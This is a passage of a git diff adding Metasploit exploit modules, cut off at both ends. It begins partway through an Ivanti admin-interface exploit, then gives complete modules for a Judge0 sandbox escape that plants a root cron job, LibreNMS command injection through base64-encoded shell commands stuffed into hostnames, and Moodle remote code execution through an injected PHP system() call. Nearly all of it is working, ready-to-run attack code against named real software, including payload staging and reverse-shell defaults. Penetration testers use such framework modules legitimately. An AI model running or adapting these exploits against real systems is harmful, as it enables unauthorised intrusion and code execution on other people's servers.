'filename' => 'LULogUpload.zip' + } + ] + ) + raise IvantiUnknownError, "[upload_log] No response from '#{uri}'" if res.nil? + + unless res.code == 200 + raise IvantiUnexpectedResponseError, "[upload_log] Server responded with an unexpected HTTP status code: #{res.code}" + end + end + + def get_log_filename + print_status('Getting the log file name...') + + uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[get_log_filename] No response from '#{uri}'" if res.nil? + + log_filename = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a").text.strip + raise IvantiNotFoundError, '[get_log_filename] Could not find the log filename' if log_filename.empty? + + log_filename + end + + def upload_payload + print_status('Uploading the payload...') + + cookie_jar_bak = cookie_jar.dup + cookie_jar.clear + login_user + begin + upload_log + ensure + print_status('Logging the user out...') + + uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri) + print_warning("Unable to logout: no response from '#{uri}'") if res.nil? + end + self.cookie_jar = cookie_jar_bak + get_log_filename + end + + def trigger_payload + print_status('Triggering the payload...') + + uri = normalize_uri(target_uri.path, '/dana-admin/cert/admincert.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[trigger_payload] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_71"]/@value').text + raise IvantiNotFoundError, '[trigger_payload] Could not find the CSRF token' if csrf_token.empty? + + engine_name = rand_text_alpha_lower(3..5) + config_section = rand_text_alpha_lower(5..10) + openssl_config = <<~CONF + [default] + openssl_conf = openssl_init + [openssl_init] + engines = engine_section + [engine_section] + #{engine_name} = #{config_section} + [#{config_section}] + engine_id = #{engine_name} + dynamic_path = /home/runtime/uploadlog/#{@log_filename} + init = 0 + CONF + # Expecting no response + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/dana-admin/cert/admincertnewcsr.cgi'), + 'keep_cookies' => 'true', + 'headers' => { + 'Referer' => full_uri('/dana-admin/cert/admincert.cgi') + }, + 'vars_post' => { + 'xsauth' => csrf_token, + 'commonName' => Faker::Company.department, + 'organizationName' => Faker::Company.name, + 'organizationalUnitName' => Faker::Company.department, + 'localityName' => "#{Faker::Address.city}\n#{openssl_config}", + 'stateOrProvinceName' => Faker::Address.state, + 'countryName' => Faker::Address.country_code, + 'emailAddress' => Faker::Internet.email, + 'keytype' => 'RSA', + 'keylength' => '1024', + 'eccurve' => 'prime256v1', + 'random' => rand_text_alphanumeric(5..10), + 'newcsr' => 'yes', + 'certType' => 'device', + 'btnCreateCSR' => 'Create CSR' + } + }, 1) + end + + def exploit + unless @logged + begin + login_admin + rescue IvantiError => e + fail_with(Failure::NoAccess, "Unable to login to the administrative interface: #{e}") + end + end + + begin + @log_filename = upload_payload + rescue IvantiError => e + fail_with(Failure::Unknown, "Unable to upload the payload: #{e}") + end + + begin + trigger_payload + rescue IvantiError => e + fail_with(Failure::Unknown, "Unable to trigger the payload: #{e}") + end + end + + def delete_log_file + print_status('Deleting the log file (payload)...') + + uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_60"]/@value').text + raise IvantiNotFoundError, '[delete_log_file] Could not find the CSRF token' if csrf_token.empty? + + file_link = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a") + raise IvantiNotFoundError, '[delete_log_file] Could not find the log file' if file_link.empty? + + href = file_link.attribute('href')&.value + if href&.match(/&row=(\d+)/) + log_id = Regexp.last_match(1) + else + raise IvantiNotFoundError, '[delete_log_file] Unable to retrieve the log ID' + end + + uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'headers' => { + 'Referer' => full_uri('/dana-admin/auth/uploadedlogs.cgi') + }, + 'vars_post' => { + 'xsauth' => csrf_token, + 'op' => 'del', + 'row' => log_id + } + ) + raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil? + + if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi') + raise IvantiUnexpectedResponseError, "[delete_log_file] Unable to delete the log file (status code=#{res.code})" + end + + csrf_token + end + + def on_new_session(_session) + print_status('Cleaning up...') + + begin + csrf_token = delete_log_file + rescue IvantiError => e + print_warning( + "Unable to cleanup properly, the log file ('/home/runtime/uploadlog/#{@log_filename}') "\ + "will need to be deleted manually: #{e}" + ) + end + + print_status('Logging the administrator out...') + + uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => { 'xsauth' => csrf_token }) + print_warning("Unable to logout: no response from '#{uri}'") if res.nil? + end + +end diff --git a/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb b/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb new file mode 100644 index 000000000000..3e89c86f7e91 --- /dev/null +++ b/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Judge0 sandbox escape', + 'Description' => %q{ + Judge0 does not account for symlinks placed inside the sandbox directory, + which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox. + }, + 'Author' => [ + 'Tanto Security', # Vulnerability discovery + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-28185'], + ['CVE', '2024-28189'], + ['URL', 'https://tantosec.com/blog/judge0/'], + ], + 'Payload' => { + 'DisableNops' => true, + # https://github.com/judge0/judge0/blob/ad66f77b131dbbebf2b9ff8083dca9a68680b3e5/app/jobs/isolate_job.rb#L199 + 'BadChars' => '$&;<>|`' + }, + 'DefaultOptions' => { + 'FETCH_DELETE' => false, + 'WfsDelay' => 75 + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-03-04', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(2358), + ] + ) + end + + def compile_language_ids + @languages = [] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'languages') + }) + return unless res&.code == 200 + + languages = JSON.parse(res.body) + bash = languages.detect { |row| row['name'].include?('Bash') } + return unless bash + + @bash_id = bash['id'] + + languages.each do |language| + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "languages/#{language['id']}") + }) + lang_info = JSON.parse(res.body) + @languages << language if res&.code == 200 && lang_info['compile_cmd'] && !lang_info['is_archived'] + end + return if @languages.empty? + + @languages + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'version') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + version = Rex::Version.new(res.body) + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable") unless version <= Rex::Version.new('1.13.0') + + print_status("Version #{version} detected, which is vulnerable") + + return Exploit::CheckCode::Appears if compile_language_ids + + Exploit::CheckCode::Unknown + end + + def exploit + # Setting the `FETCH_DELETE` option seems to break the payload execution. + # `register_files_for_cleanup` will be used later to cleanup. + fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE'] + execute_command(payload.encoded) + end + + def execute_command(cmd, _opts = {}) + compile_language_ids if @languages.nil? + + if @languages.empty? && !datastore['ForceExploit'] + fail_with(Failure::Unknown, 'Failed to get compile language ids') + end + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'), + 'vars_post' => { + 'source_code' => 'mv run runbak; ln -s /bin/rm run', + # if cannot get bash id but set ForceExploit to true, use 46 + 'language_id' => @bash_id || 46 # Bash + } + }) + + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + print_status("Writing cron job to #{cron_path}") + # use random compile language ids + # if cannot get compile language ids but set ForceExploit to true, use 73 (Rust) + language = !@languages.empty? ? @languages.sample : { id: 73, name: 'Rust' } + print_status("Use language: #{language['id']}, #{language['name']}") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'), + 'vars_post' => { + 'source_code' => "#test #{rand_text_alphanumeric(5..10)}", + 'language_id' => language['id'], + 'compiler_options' => "--version\nln -s /bin/rm ./run\n#", + 'command_line_arguments' => "x\n"\ + "cp /bin/rm #{cron_path}\n"\ + "cp /usr/bin/unlink /bin/rm\n"\ + "sed -i 's/.*/#/g' #{cron_path}\n"\ + "sed -i \"2i #{cron_file(cmd)}\" #{cron_path}\n"\ + "echo 'ok'\n" # not used + } + }) + register_files_for_cleanup(cron_path, "/root/#{datastore['FETCH_FILENAME']}") + end + + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << '\\n' + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << '\\n' + cron_file << "* * * * * root #{command}" + cron_file << '\\n' + + cron_file + end + +end diff --git a/modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb b/modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb new file mode 100644 index 000000000000..76e8288a5e28 --- /dev/null +++ b/modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb @@ -0,0 +1,294 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Retry + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)', + 'Description' => %q{ + An authenticated attacker can create dangerous directory names on the system and + alter sensitive configuration parameters through the web portal. + Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls, + thus achieving arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'murrant (Tony Murray)', # PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'References' => [ + [ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'], + [ 'CVE', '2024-51092'] + ], + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1), + 'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1) + }, + 'Payload' => { + 'SPACE' => 128 + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-15', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]), + OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]), + OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]), + OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]), + ] + ) + end + + def get_csrf_token(res) + res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login') + }) + return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('LibreNMS') + + token = get_csrf_token(res) + return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token + + begin + login + rescue StandardError => e + return Exploit::CheckCode::Unknown(e) + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'about') + }) + return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200 + + html_body = res&.get_html_document + version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']") + return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil? + + version_node&.at('span')&.content = '' + version = Rex::Version.new(version_node.text) + return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1')) + + Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.") + end + + def login + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login'), + 'keep_cookies' => true + }) + fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200 + + login_res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login'), + 'keep_cookies' => true, + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + '_token' => get_csrf_token(res) + } + }) + fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302 + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices') + + @logged_in = true + print_status('Successfully logged into LibreNMS.') + end + + def exploit + login unless @logged_in + add_host + + print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...") + created = retry_until_truthy(timeout: datastore['WAIT']) do + @hosts.all? { |h| change_snmpget(h) } + end + + fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created + register_file_for_cleanup(datastore['FETCH_FILENAME']) + @hosts.each do |host| + change_snmpget(host) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'about') + }) + end + end + + def add_host + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'addhost') + }) + fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200 + + # The maximum host length is 128 characters. + # because 128 - 20 = 108 where 20 is length of remaining characters in original payload + if Rex::Text.encode_base64(payload.encoded).length <= 108 + @hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"] + print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}") + else + @hosts = [] + staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME']) + register_file_for_cleanup(staging_file) + cmd = Rex::Text.encode_base64(payload.encoded) + # ;echo -n chunked_cmd>>staging_file; + # ;echo -n (space) = 9, >> = 2, ; = 1 + max_chunk_size = 128 - (9 + 2 + staging_file.length + 1) + chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max) + print_status("Command chunk size = #{chunk_size}") + cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join) + redirector = '>' + cmd_chunks.each_with_index do |chunk, index| + print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}") + @hosts << ";echo -n #{chunk}#{redirector}#{staging_file};" + redirector = '>>' + end + @hosts << ";cat #{staging_file} | base64 -d |sh;" + end + + @device_ids = [] + @hosts.each do |host| + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'addhost'), + 'vars_post' => { + '_token' => get_csrf_token(res), + 'hostname' => host, + 'snmp' => 'on', + 'sysName' => '', + 'hardware' => '', + 'os' => '', + 'os_id' => '', + 'snmpver' => 'v2c', + 'port' => '', + 'transport' => 'udp', + 'port_assoc_mode' => 'ifIndex', + 'community' => '', + 'authlevel' => 'noAuthNoPriv', + 'authname' => '', + 'authpass' => '', + 'authalgo' => 'SHA', + 'cryptopass' => '', + 'cryptoalgo' => 'AES', + 'force_add' => 'on', + 'Submit' => '' + } + }) + fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added') + print_status('Added host.') + link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a") + device_link = link['href'] if link + device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)}) + @device_ids << device_id if device_id + end + end + + def change_snmpget(host) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'settings/external/binaries') + }) + return unless res&.code == 200 + + res = send_request_cgi({ + 'method' => 'PUT', + 'headers' => { + 'X-CSRF-TOKEN' => get_csrf_token(res) + }, + 'uri' => normalize_uri(target_uri.path, 'settings/snmpget'), + 'ctype' => 'application/json', + 'data' => { + 'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls" + }.to_json + }) + res&.code == 200 + end + + def cleanup + super + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'settings/external/binaries') + }) + + if res&.code == 200 + res = send_request_cgi({ + 'method' => 'DELETE', + 'headers' => { + 'X-CSRF-TOKEN' => get_csrf_token(res) + }, + 'uri' => normalize_uri(target_uri.path, 'settings/snmpget') + }) + end + print_status('Failed to reset snmpget to default.') unless res&.code == 200 + print_status('Reset snmpget to default.') if res&.code == 200 + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'delhost') + }) + token = get_csrf_token(res) + + if res&.code == 200 && @device_ids + @device_ids.each do |device_id| + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'delhost'), + 'vars_post' => { + '_token' => token, + 'id' => device_id, + 'confirm' => '1' + } + }) + print_status("Failed to delete device: #{device_id}") unless res&.code == 200 + print_status("Deleted device: #{device_id}") if res&.code == 200 + end + elsif @device_ids + print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}") + end + end + +end diff --git a/modules/exploits/linux/http/moodle_rce.rb b/modules/exploits/linux/http/moodle_rce.rb new file mode 100644 index 000000000000..086a006ec075 --- /dev/null +++ b/modules/exploits/linux/http/moodle_rce.rb @@ -0,0 +1,278 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)', + 'Description' => %q{ + This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution. + Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michael Heinzl', # MSF Module + 'RedTeam Pentesting GmbH', # Discovery and PoC + ], + 'References' => [ + [ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'], + [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'], + [ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'], + [ 'CVE', '2024-43425'] + ], + 'DisclosureDate' => '2024-08-27', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'linux' ], + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + 'Type' => :unix_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [EVENT_DEPENDENT], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']), + OptString.new('PASSWORD', [true, 'Password for the user']), + OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., /moodle/course/view.php?id=3)']), + OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., /moodle/mod/quiz/edit.php?cmid=4)']), + OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/']) + ] + ) + end + + def exploit + execute_command(payload.encoded) + end + + def execute_command(cmd) + print_status('Obtaining MoodleSession and logintoken...') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1') + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200 + + print_good('Server reachable.') + + moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] + fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession + vprint_status("MoodleSession: #{moodlesession}") + + html = res.get_html_document + logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1] + fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken + vprint_status("logintoken: #{logintoken}") + + print_status("Authenticating as #{datastore['USERNAME']}...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'), + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}", + 'keep_cookies' => true + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'anchor' => nil, + 'logintoken' => logintoken, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + + moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0] + fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession + vprint_status("MoodleSession: #{moodlesession}") + + moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1] + fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1 + vprint_status("MOODLEID1_: #{moodleid1}") + + html = res.get_html_document + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=') + print_status('Successfully authenticated.') + testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1] + vprint_status("testsession: #{testsession}") + + res = send_request_cgi( + 'method' => 'GET', + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}") + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/')) + + print_status('Obtaining sesskey, courseContextId, and category...') + vprint_status('Obtaining sesskey...') + res = send_request_cgi( + 'method' => 'GET', + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}") + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200 + + html = res.get_html_document + sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1] + fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey + vprint_status("sesskey: #{sesskey}") + + course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1] + fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id + vprint_status("courseContextId: #{course_context_id}") + + category = html.to_s.match(/;category=(\d+)/)[1] + fail_with(Failure::UnexpectedReply, 'category not found.') unless category + vprint_status("category: #{category}") + + print_status('Injecting command...') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'), + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'initialcategory' => '1', + 'reload' => '1', + 'shuffleanswers' => '1', + 'answernumbering' => 'abc', + 'mform_isexpanded_id_answerhdr' => '1', + 'noanswers' => '1', + 'nounits' => '1', + 'numhints' => '2', + 'synchronize' => nil, + 'wizard' => 'datasetdefinitions', + 'id' => nil, + 'inpopup' => '0', + 'cmid' => datastore['CMID'].to_s, + 'courseid' => datastore['COURSEID'].to_s, + 'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0", + 'mdlscrollto' => '0', + 'appendqnumstring' => 'addquestion', + 'qtype' => 'calculated', + 'makecopy' => '0', + 'sesskey' => sesskey.to_s, + '_qf__qtype_calculated_edit_form' => '1', + 'mform_isexpanded_id_generalheader' => '1', + 'mform_isexpanded_id_unithandling' => '0', + 'mform_isexpanded_id_unithdr' => '0', + 'mform_isexpanded_id_multitriesheader' => '0', + 'mform_isexpanded_id_tagsheader' => '0', + 'category' => "#{category},#{course_context_id}", + 'name' => Rex::Text.rand_text_alpha(6..10), + 'questiontext[text]' => '

{b}

', + 'questiontext[format]' => '1', + 'questiontext[itemid]' => rand(424810000..424819999), # '424815274', + 'status' => 'ready', + 'defaultmark' => '1', + 'generalfeedback[text]' => nil, + 'generalfeedback[format]' => '1', + 'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981', + 'idnumber' => nil, + 'answer[0]' => '(1)->{system($_GET[chr(97)])}', + 'fraction[0]' => '1.0', + 'tolerance[0]' => '0.01', + 'tolerancetype[0]' => '1', + 'correctanswerlength[0]' => '2', + 'correctanswerformat[0]' => '1', + 'feedback[0][text]' => nil, + 'feedback[0][format]' => '1', + 'feedback[0][itemid]' => rand(738790000..738799999), # '738798744', + 'unitrole' => '3', + 'penalty' => rand(0.1333333..0.7333333), # '0.3333333', + 'hint[0][text]' => nil, + 'hint[0][format]' => '1', + 'hint[0][itemid]' => rand(562440000..562449999), # '562446571', + 'hint[1][text]' => nil, + 'hint[1][format]' => '1', + 'hint[1][itemid]' => rand(161670000..161679999), # '161675382', + 'tags' => '_qf__force_multiselect_submission', + 'submitbutton' => 'Save+changes' + } + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + + html = res.get_html_document + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated') + + location_header = res.headers['Location'] + id = location_header && location_header.match(/&id=(\d+)/) + id = id[1] if id + fail_with(Failure::UnexpectedReply, 'ID not found.') unless id + vprint_status("id value: #{id}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'), + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'id' => id.to_s, + 'inpopup' => '0', + 'cmid' => datastore['CMID'].to_s, + 'courseid' => datastore['COURSEID'].to_s, + 'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0", + 'mdlscrollto' => '0', + 'appendqnumstring' => 'addquestion', + 'category' => "#{category},#{course_context_id}", + 'wizard' => 'datasetitems', + 'sesskey' => sesskey.to_s, + '_qf__question_dataset_dependent_definitions_form' => '1', + 'dataset[0]' => '0', + 'dataset[1]' => '1-0-x', + 'synchronize' => '0', + 'submitbutton' => 'Next+page' + } + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + + html = res.get_html_document + + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/') + + cmd2 = URI.encode_www_form_component(cmd) + res = send_request_cgi( + 'method' => 'GET', + 'headers' => { + 'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}" + }, + 'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}") + ) + + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res + end +end diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb 